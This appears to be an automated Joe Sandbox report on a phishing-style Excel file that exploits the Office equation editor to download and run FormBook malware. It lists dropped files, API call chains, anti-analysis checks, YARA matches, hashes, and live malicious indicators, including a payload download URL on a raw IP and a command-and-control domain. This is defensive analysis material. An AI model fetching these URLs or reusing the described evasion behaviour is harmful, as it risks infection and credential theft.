
File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8559C53.emf

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_037903A2 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: global traffic

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040580F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BUSY[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: 2.2.EQNEDT32.EXE.931118.0.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 2.3.EQNEDT32.EXE.931118.1.unpack, type: UNPACKEDPE	Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 2.3.EQNEDT32.EXE.931118.1.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.EQNEDT32.EXE.931118.0.unpack, type: UNPACKEDPE	Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B51890
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B596A0
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B57E88
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B59C12
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B5C3BD
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B5A184
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B5B3F1
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00110A56

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Memory allocated: 77740000 page execute and read and write

Source: PO 65738963578 Revise Settlement.xlsx	Virustotal: Detection: 41%
Source: PO 65738963578 Revise Settlement.xlsx	ReversingLabs: Detection: 29%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Process created: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Process created: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Source: C:\Users\Public\vbc.exe

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PO 65738963578 Revise Settlement.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR63D1.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@8/16@0/1

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004021AA CoCreateInstance,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404ABB GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B52445 push ecx; ret

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BUSY[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\idcqz.exe	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_037903A2 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B51890 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 544

Thread sleep time: -420000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	API call chain: ExitProcess graph end node

Source: vbc.exe, 00000004.00000002.984898128.0000000000944000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B57A95 IsDebuggerPresent,

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B5558A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B586ED __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0379046B mov edx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_0011061D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_001106F7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00110736 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00110772 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_001103F8 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B5439B SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Code function: 5_2_00B543CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab
Source: C:\Users\user\AppData\Local\Temp\idcqz.exe	Process created: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B53283 cpuid

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\idcqz.exe

Code function: 5_2_00B53EC8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\Public\vbc.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	1 Access Token Manipulation	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	33 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	22 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	121 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Scripting	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	16 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO 65738963578 Revise Settlement.xlsx	41%	Virustotal		Browse
PO 65738963578 Revise Settlement.xlsx	29%	ReversingLabs	Win32.Exploit.CVE-2018-0802

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BUSY[1].exe	100%	Joe Sandbox ML
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.3.EQNEDT32.EXE.998472.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.3.EQNEDT32.EXE.931118.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.3.EQNEDT32.EXE.998472.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.EQNEDT32.EXE.931118.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
5.2.idcqz.exe.160000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
www.cortesdisenosroutercnc.com/itq4/	100%	Avira URL Cloud	malware
http://198.12.81.20/busy/BUSY.exeC:	100%	Avira URL Cloud	malware
http://198.12.81.20/busy/BUSY.exeiiC:	100%	Avira URL Cloud	malware
http://198.12.81.20/busy/BUSY.exej	100%	Avira URL Cloud	malware
http://198.12.81.20/busy/BUSY.exe	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
www.cortesdisenosroutercnc.com/itq4/	true	Avira URL Cloud: malware	low
http://198.12.81.20/busy/BUSY.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_ErrorError	EQNEDT32.EXE, 00000002.00000003.957494354.0000000000955000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000004.00000002.984640728.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.959904121.000000000040A000.00000008.00000001.01000000.00000004.sdmp, BUSY[1].exe.2.dr, vbc.exe.2.dr	false		high
http://198.12.81.20/busy/BUSY.exeC:	EQNEDT32.EXE, 00000002.00000003.957575421.000000000098D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://198.12.81.20/busy/BUSY.exeiiC:	EQNEDT32.EXE, 00000002.00000002.961987848.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://198.12.81.20/busy/BUSY.exej	EQNEDT32.EXE, 00000002.00000002.962566315.0000000003790000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
198.12.81.20	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626146
Start date and time: 13/05/202216:40:44	2022-05-13 16:40:44 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	PO 65738963578 Revise Settlement.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@8/16@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 95% (good quality ratio 89.4%) Quality average: 83.1% Quality standard deviation: 27.6%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
TCP Packets have been reduced to 100
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:42:40	API Interceptor	85x Sleep call for process: EQNEDT32.EXE modified

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	255769
Entropy (8bit):	7.906288840175113
Encrypted:	false
SSDEEP:	6144:LOtIOtWQ/YWOXDYv0RgaJ1LULzHgpZQR7ZnbpEBb7TLwV1Azo:LOLtX/DOEMRgUa8M1cbfLwDj
MD5:	029BBE98A216416EB698CA543A5C0830
SHA1:	A24173F1DAF45D7444E3C698C3AE09A540A818DD
SHA-256:	E73B7DE772353638ADDD480041E90A67F27D8D5B087BF222B1C6649C54B9CC57
SHA-512:	684ACD7F2302C8DEAE1FC81EC9E5811588692BA0F8A080FE26A959DBDE8159BAFD4906684ADE4639051ABAF563B4438F8BD99B115AB5D668A845A4DE9D2830BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
